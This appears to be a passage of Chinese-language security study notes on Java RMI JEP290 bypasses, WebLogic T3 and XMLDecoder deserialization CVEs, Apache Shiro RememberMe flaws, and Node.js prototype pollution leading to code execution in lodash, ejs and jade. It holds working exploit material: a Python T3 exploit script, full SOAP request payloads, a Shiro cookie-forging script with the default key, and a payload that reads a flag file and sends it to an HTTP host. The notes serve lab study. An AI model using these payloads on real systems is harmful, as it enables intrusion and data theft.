      protected final Object replaceObject(Object var1) throws IOException {
          //这个类要是Remote接口的,并且不是RemoteStub接口的,为true
          if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
              //这里会去获取到新的对象来替换
              //UnicastRemoteObject走的就是这条路
              Target var2 = ObjectTable.getTarget((Remote)var1);
              if (var2 != null) {
                  return var2.getStub();
              }
          }
          //RMIConnectionImpl_Stub走的就是这条路
          return var1;
      }
      

      所以可用类的条件应该是:
      1. 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
      2. 这个类要是Remote接口的并且是RemoteStub接口
      3. 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)

      但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
      java.io.ObjectOutput out = call.getOutputStream();
      //反射修改enableReplace
      ReflectionHelper.setFieldValue(out, "enableReplace", false);
      out.writeObject(obj); // 写入我们的对象
      

      截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。
  • 与Lookup结合



    这里直接做了上层的 lookup 的重写

    //多加了个registry参数,然后自己实现部分固定值的获取
    public static Remote lookup(Registry registry, Object obj)
                throws Exception {
            RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
            long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
            java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
            try {
            ....//之后就跟原来的lookup一样了
                //同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
    
  • 修复



    在 8u231 后做了两处修复。

    1. discardPedingRefs中的 incomingRefTable 清空了

      public void discardPendingRefs() {
          this.in.discardRefs();//去下面
      }
      //sun.rmi.transport.ConnectionInputStream#discardRefs
      void discardRefs() {
          this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
      }
      

      因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
      那现在的问题是是不是之前的 payload 都会报错。
      • 自定义类:后续反序列化中找不到它,报错
      • 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错

      嗯,都被 kill 了。
    2. 在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单

      能发起 JRMP 请求,但执行命令的部分会被 ban 掉。
  • 另一种绕过JEP290的思路(An Trinh)



    后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。

    之前绕过的核心思想:

    1. readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
    2. 在readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。

    1. readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到incomingRefTable
    2. 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
    3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求


    从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:

    private void readObject(java.io.ObjectInputStream in)
            throws java.io.IOException, java.lang.ClassNotFoundException
        {
            in.defaultReadObject();
            reexport();//这里
        }
    


    跟进 java.rmi.server.UnicastRemoteObject#reexport:

    private void reexport() throws RemoteException
        {
            if (csf == null && ssf == null) {
                exportObject((Remote) this, port);
            } else {
                //payload是填充了ssf的,这里
                exportObject((Remote) this, port, csf, ssf);
            }
        }
    


    一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket

    ServerSocket newServerSocket() throws IOException {
        if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
            TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
        }
    
        Object var1 = this.ssf;
        if (var1 == null) {
            var1 = chooseFactory();
        }
        //var1就是我们的payload中构建的ssf.调用他的createServerSocket
        //会根据动态代理进入RemoteObjectInvocationHandler#invoke
        ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
        if (this.listenPort == 0) {
            setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
        }
    


    触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod

    private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
        {
            try {
                if (!(proxy instanceof Remote)) {
                    throw new IllegalArgumentException(
                        "proxy not Remote instance");
                }
              //我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
              //这里开始了触发JRMP请求
                return ref.invoke((Remote) proxy, method, args,
                                  getMethodHash(method));
            } catch (Exception e) {
    


    ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。

    然后这个方法能绕过 8u231的限制。。。

    • 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
    • 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
  • 8u241的修复



    把本来的(String)var9.readobject()改成了
    SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。

    //8u241时这里,type传入String
    private Object readObject0(Class type, boolean unshared) throws IOException {
        //...
        case TC_OBJECT://我们输入的payload对象是一个Object
            if (type == String.class) {
                //8u241 type=String 直接在此处报错不进行反序列化了
            throw new ClassCastException("Cannot cast an object to java.lang.String");
            }
            //之前的版本都是传入type=Object于是正常反序列化
            return checkResolve(readOrdinaryObject(unshared));
        //..
    }
    


    如果参数类型是 String 则会直接拒绝反序列化。

    第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。

 

  • 环境搭建


    链接:https://github.com/QAX-A-Team/WeblogicEnvironment
    需要自行下载对应版本的 jdk 和 weblogic 放入对应文件夹中
    image-20220128180148642
    docker设置及远程调试环境配置:
    docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
    
    docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
    

    访问 http://localhost:7001/console/login/LoginForm.jsp 出现登录页面
    新建 middleware 作为用于调试的文件夹
    dir ./middleware
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/
    
    docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
    

    然后用 IDEA 打开,导入 wlserver/server/lib (Add as Library),之后设置远程调试端口为 8453。
    打开 WLSServletAdapter 类,129 行下断点。
    image-20220128181650482
    访问 http://localhost:7001/wls-wsat/CoordinatorPortType ,若成功拦截,则环境配置完毕。
  • CVE-2015-4852(T3 反序列化漏洞)


    关于 weblogic 漏洞所需的基础知识可参考这位dalao的文章 https://paper.seebug.org/1012/#weblogic_8.
    漏洞点在:weblogic.rjvm.InboundMsgAbbrev#readObject
    image-20220128182231676
    t3协议的数据流会走这个类,关注 readObject 之后的操作,查看 ServerChannelInputStream 类中的具体方法。
    image-20220128182640326
    漂亮!resolveClass 中什么防御都无。其中resolveClass 是 readObject 底层流程要走的函数,shiro 反序列化中因为 shiro 框架对 resolveClass 进行了重写导致部分 CC 链打不了。在 weblogic 后续的补丁中也是对这个方法进行了修改。
    反序列化流程
    看一下 weblogic 自带的 CC 链
    image-20220128192910968
    poc:

    from os import popen
    import struct # 负责大小端的转换 
    import subprocess
    from sys import stdout
    import socket
    import re
    import binascii
    
    def generatePayload(gadget,cmd):
        YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"
        popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
        return popen.stdout.read()
    
    def T3Exploit(ip,port,payload):
        sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect((ip,port))
        handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
        sock.sendall(handshake.encode())
        data = sock.recv(1024)
        compile = re.compile("HELO:(.*).0.false")
        match = compile.findall(data.decode())
        if match:
            print("Weblogic: "+"".join(match))
        else:
            print("Not Weblogic")
            return  
        header = binascii.a2b_hex(b"00000000")
        t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
        desflag = binascii.a2b_hex(b"fe010000")
        payload = header + t3header  +desflag+  payload
        payload = struct.pack(">I",len(payload)) + payload[4:]
        sock.send(payload)
    if __name__ == "__main__":
        ip = "172.21.65.112"
        port = 7001
        gadget = "CommonsCollections1"
        cmd = "touch /tmp/CVE-2015-4852"
        payload = generatePayload(gadget,cmd)
        T3Exploit(ip,port,payload)
    
  • CVE-2016-0638(CVE-2015-4852 修复后的绕过)


    在补丁 p21984589_1036_Generic 中,在 ServerChannelInputStream 的 resolveClass 中引入 ClassFilter.isBlackListed 进行过滤,但菜鸡的我没有找到补丁文件。。。这里放一张参考文献中dalao的图:
    CVE-2016-0638
    其实之后的 t3 反序列化就是变着花的绕黑名单了。
    补充信息:
    在Weblogic从流量中的序列化类字节段通过readClassDesc-readNonProxyDesc-resolveClass获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。
    

    在这里需要找的就是其他类的反序列化方法,其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中,在其中的 readExternal 方法中,new 了一个没有被黑名单过滤的对象,并执行了这个对象的 readObject,造成了二次反序列化。
    image-20220128203456310
    再关注一下这个 var4 是怎么来的
    image-20220128204628190
    然后把流和一个int传入 copyPayloadFromStream 中
    image-20220128204928125
    流进到了 createOneSharedChunk 中
    image-20220128205048336
    创建了一个 chunk ,readExternal 的后续操作就是从中读取数据并进行了反序列化。
    这里使用工具 https://github.com/5up3rc/weblogic_cmd 进行分析。
    IDEA打开工具,配置执行环境,导入 tools 包(jdk/lib/tool.jar)中,然后打断点。
    image-20220128212411803
    image-20220128212359241
    image-20220128212506236
    然后开始 debug,经过参数解析后进入 blindExecute
    image-20220128212721390
    然后进入到 SerialDataGenerator.serialBlindDatas
    image-20220128212926023
    分别跟踪这两个函数实现
    image-20220128212851091
    image-20220128213028557
    拼起来正好是一条 CC1。但没完,返回之前还要进入 BypassPayloadSelector.selectBypass ,这一方法用来处理原生链中本应该直接进行反序列化的对象(二次反序列化包装)。
    image-20220128213240527
    在 Serializables.serialize 中进行序列化
    image-20220128213713163
    然后调用到最终要反序列化的 StreamMessageImpl
    image-20220128213856949
    接着 send payload 的实现就和上文 CVE-2015-4852 的 poc 的实现差不多了,构造 t3 数据包然后发送。
    image-20220128214127708

 

  • CVE-2016-3510(CVE-2015-4852 的另一种绕过方式)


    这次选用的类是 weblogic.corba.utils.MarshalledObject,其中的 readResolve 会读取 objBytes 的值赋给新 new 的 ois,然后将其进行反序列化。
    image-20220128215439105
    在 weblogic_cmd 的 Main 函数中修改一下 TYPE image-20220128215849406
    在 selectBypass 的时候换了一个对象
    image-20220128220041915
    进入到 MarshalledObject ,之后进行正常的序列化。
    image-20220128220134158

 

  • CVE-2017-3248(利用JRMPClient进行带外rce)


    东西很多,挖个坑单独说。
  • CVE-2017-3506(XMLDecoder反序列化)


    基础知识可参考 https://paper.seebug.org/1012/#weblogic_8,这里先写个demo跟一下XMLDecoder的过程。
    poc.xml
    <java>
        <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="1">
                <void index="0">
                    <string>calc</string>
                </void>
            </array>
            <void method="start"/>
        </object>
    </java>
    

    Main.java
    import java.beans.XMLDecoder;
    import java.io.*;
    
    public class Main {
        public static void main(String[] args) throws IOException, InterruptedException {
            File file = new File("poc.xml的绝对路径");
            XMLDecoder xd = null;
            try {
                xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
            } catch (Exception e) {
                e.printStackTrace();
            }
            Object s2 = xd.readObject();
            xd.close();
    
        }
    }
    

    第 9 行下个断点,跟进 XMLDecoder 类,发现这里首先 new 了一个 DocumentHandler 对象
    image-20220129141322391
    首先对各种标签的解析
    image-20220129141521113
    最后在 处调用 getValue ,得到类的实例。
    image-20220129162957211
    补上一张@ fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程
    xmlDecoder
    然后就是追一下 weblogic 是在哪调用 XMLDecoder 的
    poc:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 172.21.65.112:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Length: 824
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    Content-Type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
              <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                  <void index="0">
                    <string>/bin/bash</string>
                  </void>
                  <void index="1">
                    <string>-c</string>
                  </void>
                  <void index="2">
                    <string>touch /tmp/CVE-2017-3506</string>
                  </void>
                </array>
              <void method="start"/></void>
            </java>
          </work:WorkContext>
        </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    
    

    断点下在 WorkContextTube#readHeaderOld 上,然后进入 receive 中
    image-20220129211439149
    持续跟进到 readUTF 中,发现反序列化操作
    image-20220129211731830
  • CVE-2017-10271(CVE-2017-3506 绕过)


    先看一下官方的补丁
    private void validate(InputStream is) {
          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
          try {
             SAXParser parser = factory.newSAXParser();
             parser.parse(is, new DefaultHandler() {
                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                   if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid context type: object");
                   }
                }
             });
          } catch (ParserConfigurationException var5) {
             throw new IllegalStateException("Parser Exception", var5);
          } catch (SAXException var6) {
             throw new IllegalStateException("Parser Exception", var6);
          } catch (IOException var7) {
             throw new IllegalStateException("Parser Exception", var7);
          }
       }
    

    重点就是这:
     if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid context type: object");
    

    标签是 object 的时候报错,是不很理解为什么这么修,这里把 object 标签换成 void 标签照样可以执行命令。
    <object class=”java.lang.ProcessBuilder”>    ====>
    <void class=”java.lang.ProcessBuilder”>
    

    image-20220129192508666
    除了把 isArgument 从 true 变成 false 外全部继承 ObjectElementHandler。
  • CVE-2019-2725(CVE-2017-10271绕过 + 新的反序列化组件)


    首先看新的 _async 中存在的反序列化触发点(访问路径:/_async/AsyncResponseService)
    从接收服务开始的完整解析过程详见https://www.anquanke.com/post/id/177381,这里只重点关注触发漏洞部分。
    请求从 BaseWSServlet 开始,断点下在 service 方法,一直跟进到 run
    image-20220129225207945
    跟进到处理请求的部分,注意这里接收到的信息是以 Soap 协议解析的
    Soap
    image-20220129225645738
    解析后的东西放在了 var7 中,然后跟一下 var7 的 invoke 方法
    image-20220129230059383
    在进行soap的初始化后进入 dispatch 中,跟进到 handleRequest 中
    image-20220129233730652
    在 WorkContextXmlInputAdapter 中调用了 XMLDecoder
    image-20220129233753318
    跟进 receiveRequest 方法中,发现调用了 readUTF ,剩下的流程接上前面分析的就可以了。
    image-20220129233906593
    关于补丁的绕过,先分析一下补丁代码:
    private void validate(InputStream is) {
          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
          try {
             SAXParser parser = factory.newSAXParser();
             parser.parse(is, new DefaultHandler() {
                private int overallarraylength = 0;
                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                   if(qName.equalsIgnoreCase("object")) {
                      throw new IllegalStateException("Invalid element qName:object");
                   } else if(qName.equalsIgnoreCase("new")) {
                      throw new IllegalStateException("Invalid element qName:new");
                   } else if(qName.equalsIgnoreCase("method")) {
                      throw new IllegalStateException("Invalid element qName:method");
                   } else {
                      if(qName.equalsIgnoreCase("void")) {
                         for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                             throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                            }
                         }
                      }
                       if(qName.equalsIgnoreCase("array")) {
                         String var9 = attributes.getValue("class");
                         if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                            throw new IllegalStateException("The value of class attribute is not valid for array element.");
                         }
    

    解释一下就是 ban 掉了object、new、method标签,如果使用void标签,只能有index属性,如果使用array标签,且标签使用的是class属性,则它的值只能是byte。
    那么我们需要找一个参数是 byte 类型的类尝试反序列化,这里采用的 jdk7u21的那条链。
    7u21 的命令执行部分是将 Templateslmpl 对象的 _bytecodes 动态生成为对象,于是该类的static block和构造函数便会自动执行,造成命令执行。
    poc (部分):

    <?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                    <void index="0">
                    <byte>-84</byte>
                    ...
                    ...
                </array></void></class>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

     
  • CVE-2019-2729 (CVE-2019-2725 绕过)


    具体挖掘细节可参考 https://xz.aliyun.com/t/5448 ,这里给出最后结论.
    poc:(jdk1.6可行)

    <?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java>
                    <array method="forName">
                        <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                        <void>
                            <array class="byte" length="3748">
                                ...
                            </array>
                        </void>
                    </array>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

    把 <class> 换成了 <array method="forName">, 宏观上理解就是通过Class.forName(classname)来取到我们想要的类.
    在 jdk1.7 中, array 标签并不会受理 method 属性(没有意义), 但在 jdk1.6中的实现方法是:
            } else if (var1 == "array") {
                var14 = (String)var3.get("class");
                Class var10 = var14 == null ? Object.class : this.classForName2(var14);
                var11 = (String)var3.get("length");
                if (var11 != null) {
                    var4.setTarget(Array.class);
                    var4.addArg(var10);
                    var4.addArg(new Integer(var11));
                }
    

    它将所有的标签属性进行统一处理,但是又没有进行有效性验证, 所以出现了绕过.

 

  • shiro < 1.2.4 环境搭建


    1. 官网下载shiro-root-1.2.4,把其中的samples-web部署到IDEA中。

    2. 修改pom.xml,加个cc依赖(默认是不带的)
              
                  commons-collections
                  commons-collections
                  3.2.1
              
      
    3. tomcat部署启动。
  • shiro < 1.2.4 简单复现


    用cc11打一下(cc6不行,原因待会说)
    import base64
    import uuid
    from random import Random
    from Crypto.Cipher import AES
    
    def get_file_data(filename):
        with open(filename, 'rb') as f:
            data = f.read()
        return data
    
    def aes_enc(data):
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
        return ciphertext
    
    def aes_dec(enc_data):
        enc_data = base64.b64decode(enc_data)
        unpad = lambda s : s[:-s[-1]]
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = enc_data[:16]
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        plaintext = encryptor.decrypt(enc_data[16:])
        plaintext = unpad(plaintext)
        return plaintext
    
    if __name__ == "__main__":
        data = get_file_data("ser.bin")
        print(aes_enc(data))
    

  • shiro < 1.2.4 漏洞分析


    在AbstractRememberMeManager#getRememberedPrincipals中的getRememberedSerializedIdentity处下断点

    跟进到获取cookie的地方(写的时候中间断过几次,payload可能不一样)

    检查base64格式后进行解码

    然后进入convertBytesToPrincipals对解码后的数据进行处理
    image-20220126162516627
    进入decrypt函数中
    image-20220126162600004
    函数中进行的就是正常的AES解密,没什么可看的,这里跟踪一下 getDecryptionCipherKey看一下密钥
    image-20220126163207363
    image-20220126163249845
    发现密钥,这也是我们前面加密脚本里用到的
    最后反序列化处理传进去的内容image-20220126163333765
    image-20220126163501308
  • shiro < 1.4.2 padding oracle


    在shiro 1.2.5 之后获取key的方式不再是硬编码
    image-20220126172549532
    这次的问题出现在解密函数本身,追踪解密函数,发现调用了crypt函数
    image-20220126172902350
    单步进入到这里,在密钥不正确的情况下会抛出异常
    image-20220126173059541
    填充时的不正确导致服务器不同的相应,可根据此特性利用padding oracle攻击爆破CBC加密过程中的临时变量,从而达到任意加密和任意解密。
  • payload打不通的问题


    如果用CC6去打的话会报错,因为shiro用的不是java原生的反序列化套件,重写了ObjectInputStream类的resolveClass函数,重写后的resolveClass方法采用的是ClassUtils.forName获取class对象,
    public static Class forName(String fqcn) throws UnknownClassException {
        Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
            }
    
            clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
            }
    
            clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
        }
    
        if (clazz == null) {
            String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
            throw new UnknownClassException(msg);
        } else {
            return clazz;
        }
    }
    

    具体原因很麻烦,这里直接放P神在java反序列化漫谈中的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此诸如此类的CC链都是打不了的。
    image-20220127125650828
    不过利用的字节码动态加载的CC2,CC4等还可以正常使用。
  • 无CC依赖


    cc依赖并不是shiro自带,所以就有人研究出了Shiro自带CommonsBeanutils的反序列化gadget,具体分析可自行查询。

 

参考文献:

 

 

 

  • lodash从污染到rce


    以code-breaking2018中的thejs为例
    • 搭环境


      在package中修改以下代码
    • 污染


      然后到baseMerge中

      继续跟进:



      发现存在原型链污染的条件:键可控且值可修改。
      相同的原理,利用lodash.mergeWith,lodash.set,lodash.setWith也可造成原型链污染。
    • rce过程


      利用lodash.template

      单步进入到这

      然后进入lodash.template中

      利用Function构造函数来执行命令。
      payload:
      {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://localhost:12333/${result}`);req.end();\r\n"}} 
      

       
  • ejs实现rce


    • 环境搭建


      test.js
      var express = require('express');
      var _= require('lodash');
          var ejs = require('ejs');
          var app = express();
          //设置模板的位置
          app.set('views', __dirname);
          //对原型进行污染
          var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
          _.merge({}, JSON.parse(malicious_payload));
          //进行渲染
          app.get('/', function (req, res) {
              res.render ("./test.ejs",{
                  message: 'lufei test '
              });
          });
          //设置http
          var server = app.listen(8081, function () {
              var host = server.address().address
              var port = server.address().port
              console.log("应用实例,访问地址为 http://%s:%s", host, port)
          });
      

      test.ejs

      设置debug方式如上

    • rce过程



      ​ ​ 进入response.js中
      ​ ​
      ​ ​ 进入application.js的tryRender中
      ​ ​
      ​ ​ 然后进入view.js中
      ​ ​
      ​ ​ 进入ejs.js中,准备开始渲染,先进到tryHandleCache中
      ​ ​
      ​ ​ 然后调用handleCache
      ​ ​
      ​ ​ 进入compile方法,开始渲染
      ​ ​
      ​ ​ 发现传入的outputFunctionName直接被拼接
      ​ ​
      ​ ​ 成功rce

    payload:
      {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
    
  • jade实现rce


    • 搭环境


      app.js
      var express = require('express');
      var lodash= require('lodash');
      var jade = require('jade');
      var app = express();
      //设置模板的位置与种类
      app.set('views', __dirname);
      app.set("view engine", "jade");
      //对原型进行污染
      var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
      lodash.merge({}, JSON.parse(malicious_payload));
      //进行渲染
      app.get('/', function (req, res) {
        res.render ("index.jade",{
            message: 'whoami test'
      });
      });
      //设置http
      var server = app.listen(8000, function () {
      var host = server.address().address
      var port = server.address().port
      console.log("应用实例,访问地址为 http://%s:%s", host, port)
      });
      

      index.jade
      h1 #{message}
      p #{message}
      

     
    • rce过程


      刚开始和ejs的很像,从response.js开始,每次进入下一个render函数中。

      ​然后进入index.js中

      ​ 进入handleTemplateCache中

      ​ 进入complie中并进行parsed解析

      ​ 然后通过原型链污染绕过进入这个if语句

      ​ 解析完之后再看compile部分

      ​ 进入compiler.js中

      ​ 在这里进行了AST的解析,把最后的结果放进buf中,关注visit函数,如果这里的debug为真,那么就可以拼接传入的line,从而实现rce。

      payload:
      {"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}```
      

       
参考文献:

https://www.anquanke.com/post/id/248170#h2-10